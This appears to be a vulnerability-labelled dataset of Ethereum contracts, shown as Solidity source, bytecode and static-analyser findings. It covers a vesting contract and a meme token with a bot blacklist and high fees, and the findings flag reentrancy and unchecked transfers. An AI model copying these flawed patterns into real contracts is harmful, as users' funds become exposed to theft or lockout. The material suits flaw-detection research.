31614806109bd57506013546001600160a01b0316336001600160a01b0316145b6109c657600080fd5b60006109d130610801565b90506107fe816112ee565b6000546001600160a01b03163314610a065760405162461bcd60e51b815260040161062e90611c3f565b60005b82811015610a77578160056000868685818110610a2857610a28611c74565b9050602002016020810190610a3d9190611aef565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6f81611ca0565b915050610a09565b50505050565b6000546001600160a01b03163314610aa75760405162461bcd60e51b815260040161062e90611c3f565b601755565b6000546001600160a01b03163314610ad65760405162461bcd60e51b815260040161062e90611c3f565b6001600160a01b038116610b3b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610c595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b038216610d805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b60008111610de25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6000546001600160a01b03848116911614801590610e0e57506000546001600160a01b03838116911614155b156110ef57601554600160a01b900460ff16610ea7576000546001600160a01b03848116911614610ea75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062e565b601654811115610ef95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062e565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3b57506001600160a01b03821660009081526010602052604090205460ff16155b610f935760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062e565b6015546001600160a01b038381169116146110185760175481610fb584610801565b610fbf9190611cbb565b106110185760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062e565b600061102330610801565b60185460165491925082101590821061103c5760165491505b8080156110535750601554600160a81b900460ff16155b801561106d57506015546001600160a01b03868116911614155b80156110825750601554600160b01b900460ff165b80156110a757506001600160a01b03851660009081526005602052604090205460ff16155b80156110cc57506001600160a01b03841660009081526005602052604090205460ff16155b156110ec576110da826112ee565b4780156110ea576110ea47611230565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113157506001600160a01b03831660009081526005602052604090205460ff165b8061116357506015546001600160a01b0385811691161480159061116357506015546001600160a01b03848116911614155b15611170575060006111ea565b6015546001600160a01b03858116911614801561119b57506014546001600160a01b03848116911614155b156111ad57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d857506014546001600160a01b03858116911614155b156111ea57600a54600c55600b54600d555b610a7784848484611477565b6000818484111561121a5760405162461bcd60e51b815260040161062e9190611a2d565b5060006112278486611cd3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069f573d6000803e3d6000fd5b60006006548211156112d15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062e565b60006112db6114a5565b90506112e783826114c8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133657611336611c74565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c29190611cea565b816001815181106113d5576113d5611c74565b6001600160a01b0392831660209182029290920101526014546113fb9130911684610b96565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611434908590600090869030904290600401611d07565b600060405180830381600087803b15801561144e57600080fd5b505af1158015611462573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114845761148461150a565b61148f848484611538565b80610a7757610a77600e54600c55600f54600d55565b60008060006114b261162f565b90925090506114c182826114c8565b9250505090565b60006112e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166f565b600c5415801561151a5750600d54155b1561152157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154a8761169d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157c90876116fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ab908661173c565b6001600160a01b0389166000908152600260205260409020556115cd8161179b565b6115d784836117e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164a82826114c8565b82101561166657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116905760405162461bcd60e51b815260040161062e9190611a2d565b5060006112278486611d78565b60008060008060008060008060006116ba8a600c54600d54611809565b92509250925060006116ca6114a5565b905060008060006116dd8e87878761185e565b919e509c509a509598509396509194505050505091939550919395565b60006112e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f6565b6000806117498385611cbb565b9050838110156112e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b60006117a56114a5565b905060006117b383836118ae565b306000908152600260205260409020549091506117d0908261173c565b30600090815260026020526040902055505050565b6006546117f290836116fa565b600655600754611802908261173c565b6007555050565b6000808080611823606461181d89896118ae565b906114c8565b90506000611836606461181d8a896118ae565b9050600061184e826118488b866116fa565b906116fa565b9992985090965090945050505050565b600080808061186d88866118ae565b9050600061187b88876118ae565b9050600061188988886118ae565b9050600061189b8261184886866116fa565b939b939a50919850919650505050505050565b6000826118bd575060006106b4565b60006118c98385611d9a565b9050826118d68583611d78565b146112e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fe57600080fd5b803561196381611943565b919050565b6000602080838503121561197b57600080fd5b823567ffffffffffffffff8082111561199357600080fd5b818501915085601f8301126119a757600080fd5b8135818111156119b9576119b961192d565b8060051b604051601f19603f830116810181811085821117156119de576119de61192d565b6040529182528482019250838101850191888311156119fc57600080fd5b938501935b82851015611a2157611a1285611958565b84529385019392850192611a01565b98975050505050505050565b600060208083528351808285015260005b81811015611a5a57858101830151858201604001528201611a3e565b81811115611a6c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9557600080fd5b8235611aa081611943565b946020939093013593505050565b600080600060608486031215611ac357600080fd5b8335611ace81611943565b92506020840135611ade81611943565b929592945050506040919091013590565b600060208284031215611b0157600080fd5b81356112e781611943565b8035801515811461196357600080fd5b600060208284031215611b2e57600080fd5b6112e782611b0c565b600060208284031215611b4957600080fd5b5035919050565b60008060008060808587031215611b6657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9757600080fd5b833567ffffffffffffffff80821115611baf57600080fd5b818601915086601f830112611bc357600080fd5b813581811115611bd257600080fd5b8760208260051b8501011115611be757600080fd5b602092830195509350611bfd9186019050611b0c565b90509250925092565b60008060408385031215611c1957600080fd5b8235611c2481611943565b91506020830135611c3481611943565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb457611cb4611c8a565b5060010190565b60008219821115611cce57611cce611c8a565b500190565b600082821015611ce557611ce5611c8a565b500390565b600060208284031215611cfc57600080fd5b81516112e781611943565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d575784516001600160a01b031683529383019391830191600101611d32565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db457611db4611c8a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f904ebffce48a5ca5e497d90c962e45d34c229e6a5b18099e8e8260c6dd2ba564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,327
0x4514F002Ee66A87fAaf036a70AA02d550080b96d
/** *Submitted for verification at Etherscan.io on 2021-11-28 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract MineVesting { using SafeMath for uint256; IERC20 public token; /** * Time Zone: UTC * Start Date: 2022-01-01 09:00:00 AM * Last Date: 2022-08-01 09:00:00 AM */ uint[8] public LockedDateList = [ 1641027600, 1643706000, 1646125200, 1648803600, 1651395600, 1654074000, 1656666000, 1659344400 ]; uint256 public totalLockedToken; uint256 public monthUnlockToken; address public unlockAddress = 0xcDB048f07ccb6705CC34fAC9B3aeaE45B3575B72; uint256 public currentUnlockToken; uint256 public lastUnlockTime; uint256 public maxUnlockingTimes = 8; event MonthUnlock(address indexed mananger, uint256 day, uint256 amount); modifier unlockCheck() { if(currentUnlockToken == 0) { require( balanceOf() >= totalLockedToken, "The project party is requested to transfer enough tokens to start the lock up contract" ); } require(msg.sender == unlockAddress, "You do not have permission to unlock"); _; } constructor(address _token) public { token = IERC20(_token); uint256 _decimals = token.decimals(); totalLockedToken = (10 ** _decimals).mul(2500_0000); // 2500万MNET tokens monthUnlockToken = totalLockedToken.mul(125).div(1000); // 12.5% } function blockTimestamp() public view returns(uint256) { return block.timestamp; } function getUnlockedTimes() public view returns(uint256) { uint256 allTimes; for(uint i = 0; i < LockedDateList.length; i++) { if(blockTimestamp() >= LockedDateList[i]) { allTimes++; } } return allTimes; } function balanceOf() public view returns(uint256) { return token.balanceOf(address(this)); } function managerBalanceOf() public view returns(uint256) { return token.balanceOf(unlockAddress); } function monthUnlock() public unlockCheck { require(balanceOf() > 0, "There is no balance to unlock and withdraw"); uint256 unlockTime = getUnlockedTimes(); uint256 unlockToken; if(unlockTime >= maxUnlockingTimes) { unlockToken = balanceOf(); lastUnlockTime = maxUnlockingTimes; } else { require(unlockTime > lastUnlockTime, "No current extractable times"); unlockToken = unlockTime.sub(lastUnlockTime).mul(monthUnlockToken); lastUnlockTime = unlockTime; } currentUnlockToken = currentUnlockToken.add(unlockToken); _safeTransfer(unlockToken); emit MonthUnlock(unlockAddress, unlockTime, unlockToken); } function _safeTransfer(uint256 unlockToken) private { require(balanceOf() >= unlockToken, "Insufficient available balance for transfer"); token.transfer(unlockAddress, unlockToken); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063adb618321161008c578063cc85b2cd11610066578063cc85b2cd14610208578063d1dbaa9314610226578063efb76eec14610244578063fc0c546a14610262576100cf565b8063adb6183214610174578063b30929cd14610192578063c1cb359c146101c6576100cf565b80630da63522146100d457806348e0cb52146100f2578063722713f7146101105780637e7707161461012e578063a4ecfa8314610138578063a5c38b3d14610156575b600080fd5b6100dc610296565b6040518082815260200191505060405180910390f35b6100fa61029c565b6040518082815260200191505060405180910390f35b6101186102a2565b6040518082815260200191505060405180910390f35b61013661036c565b005b610140610659565b6040518082815260200191505060405180910390f35b61015e61065f565b6040518082815260200191505060405180910390f35b61017c610665565b6040518082815260200191505060405180910390f35b61019a61066d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101f2600480360360208110156101dc57600080fd5b8101908080359060200190929190505050610693565b6040518082815260200191505060405180910390f35b6102106106ab565b6040518082815260200191505060405180910390f35b61022e610797565b6040518082815260200191505060405180910390f35b61024c6107e0565b6040518082815260200191505060405180910390f35b61026a6107e6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60095481565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561032c57600080fd5b505afa158015610340573d6000803e3d6000fd5b505050506040513d602081101561035657600080fd5b8101908080519060200190929190505050905090565b6000600c5414156103da576009546103826102a2565b10156103d9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526056815260200180610cfb6056913960600191505060405180910390fd5b5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610480576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180610d516024913960400191505060405180910390fd5b600061048a6102a2565b116104e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180610cb0602a913960400191505060405180910390fd5b60006104ea610797565b90506000600e54821061050f576104ff6102a2565b9050600e54600d819055506105b9565b600d548211610586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4e6f2063757272656e74206578747261637461626c652074696d65730000000081525060200191505060405180910390fd5b6105af600a546105a1600d54856108da90919063ffffffff16565b61080a90919063ffffffff16565b905081600d819055505b6105ce81600c5461092490919063ffffffff16565b600c819055506105dd816109ac565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7c7715ace9c30bc515813d64c04ff95a9e494bc60bd6f03737dce42cf445bf468383604051808381526020018281526020019250505060405180910390a25050565b600c5481565b600d5481565b600042905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600181600881106106a057fe5b016000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561075757600080fd5b505afa15801561076b573d6000803e3d6000fd5b505050506040513d602081101561078157600080fd5b8101908080519060200190929190505050905090565b60008060005b60088110156107d857600181600881106107b357fe5b01546107bd610665565b106107cb5781806001019250505b808060010191505061079d565b508091505090565b600e5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083141561081d576000905061088a565b600082840290508284828161082e57fe5b0414610885576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610cda6021913960400191505060405180910390fd5b809150505b92915050565b60006108d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610afe565b905092915050565b600061091c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bc4565b905092915050565b6000808284019050838110156109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b806109b56102a2565b1015610a0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180610c85602b913960400191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610abf57600080fd5b505af1158015610ad3573d6000803e3d6000fd5b505050506040513d6020811015610ae957600080fd5b81019080805190602001909291905050505050565b60008083118290610baa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b6f578082015181840152602081019050610b54565b50505050905090810190601f168015610b9c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610bb657fe5b049050809150509392505050565b6000838311158290610c71576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c36578082015181840152602081019050610c1b565b50505050905090810190601f168015610c635780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe496e73756666696369656e7420617661696c61626c652062616c616e636520666f72207472616e736665725468657265206973206e6f2062616c616e636520746f20756e6c6f636b20616e64207769746864726177536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775468652070726f6a6563742070617274792069732072657175657374656420746f207472616e7366657220656e6f75676820746f6b656e7320746f20737461727420746865206c6f636b20757020636f6e7472616374596f7520646f206e6f742068617665207065726d697373696f6e20746f20756e6c6f636ba2646970667358221220d998ccc6db80b66e21b2be58151ee32a812ed0e9316dd7074819c54425f96b1a64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,328
0x77b3291e045599b5a07bee4c40ec296f433a7334
/** *Submitted for verification at Etherscan.io on 2021-07-07 */ /* ┏━━━┳━━━┳━━━┳━━━┳━━━┓ ┃┏━┓┃┏━┓┃┏━┓┣┓┏┓┃┏━┓┃ ┃┗━┛┃┗━┛┃┃╋┃┃┃┃┃┃┃╋┃┃┏┳━┓┏┓┏┓ ┃┏━━┫┏┓┏┫┗━┛┃┃┃┃┃┗━┛┃┣┫┏┓┫┃┃┃ ┃┃╋╋┃┃┃┗┫┏━┓┣┛┗┛┃┏━┓┃┃┃┃┃┃┗┛┃ ┗┛╋╋┗┛┗━┻┛╋┗┻━━━┻┛╋┗┛┗┻┛┗┻━━┛ https://t.me/PRADAinu LUXURY AT ITS FINEST! Welcome to PRADA Inu! Liquidity locked, ownership renounced. Name: PRADA INU Symbol: PRADA Total Supply: 1,000,000,000,000 Decimals: 9 50% INSTANT Burn, 50% LP - Developer provides LP - No Presale - No Team Tokens - Locked LP - 100% Fair Launch */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PRADAinu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "PRADA INU - t.me/PRADAinu"; string private constant _symbol = 'PRADA'; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 14; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; 